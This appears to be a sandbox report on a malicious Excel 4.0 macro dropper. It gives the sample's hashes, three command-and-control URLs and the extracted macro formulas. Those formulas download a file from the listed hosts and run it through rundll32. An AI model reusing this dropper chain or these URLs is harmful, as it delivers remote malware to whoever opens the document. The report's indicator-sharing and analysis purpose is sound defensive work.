General

  • Target

    1db4edb8e55162ec017454ce23a5fd342ea291fd92f0ac2de37b661d186fa2f0

  • Size

    99KB

  • Sample

    241120-zj95pssqhx

  • MD5

    0a8784a4c9058fb73f52ca8f90e66427

  • SHA1

    f6c4413c00340ecdd51fe026c43f2b1a11c67b2b

  • SHA256

    1db4edb8e55162ec017454ce23a5fd342ea291fd92f0ac2de37b661d186fa2f0

  • SHA512

    d7cad254386cc33d8acc88bd8d195cb302890b6194b6b16861d8ad2c3f288c79b26880c2d0c2d9e42748d881e854f728d19d51eee1021353daf1ab302c7ff450

  • SSDEEP

    1536:rlu4xYp20B+axURtKckrr9qZGrhD1GW+wZk4lHpuaI4qDVJac:lYHHxutKckrpqZGh+wrlJuaIjl

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://avionxpress.com/lp/T9b1Bga4FdDfP5HI/

http://news.tapchivietkieu.info/wordpress/CJzFM/

http://monosun.net/wp-includes/JcDnYBSKpyfU/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://avionxpress.com/lp/T9b1Bga4FdDfP5HI/","..\ourl.ocx",0,0) =IF('EGGEGDGE'!B11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://news.tapchivietkieu.info/wordpress/CJzFM/","..\ourl.ocx",0,0)) =IF('EGGEGDGE'!B13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://monosun.net/wp-includes/JcDnYBSKpyfU/","..\ourl.ocx",0,0)) =IF('EGGEGDGE'!B15<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\ourl.ocx,D""&""l""&""lR""&""egister""&""Serve""&""r") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://avionxpress.com/lp/T9b1Bga4FdDfP5HI/

xlm40.dropper

http://news.tapchivietkieu.info/wordpress/CJzFM/

xlm40.dropper

http://monosun.net/wp-includes/JcDnYBSKpyfU/

Targets

    • Target

      1db4edb8e55162ec017454ce23a5fd342ea291fd92f0ac2de37b661d186fa2f0

    • Size

      99KB

    • MD5

      0a8784a4c9058fb73f52ca8f90e66427

    • SHA1

      f6c4413c00340ecdd51fe026c43f2b1a11c67b2b

    • SHA256

      1db4edb8e55162ec017454ce23a5fd342ea291fd92f0ac2de37b661d186fa2f0

    • SHA512

      d7cad254386cc33d8acc88bd8d195cb302890b6194b6b16861d8ad2c3f288c79b26880c2d0c2d9e42748d881e854f728d19d51eee1021353daf1ab302c7ff450

    • SSDEEP

      1536:rlu4xYp20B+axURtKckrr9qZGrhD1GW+wZk4lHpuaI4qDVJac:lYHHxutKckrpqZGh+wrlJuaIjl

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks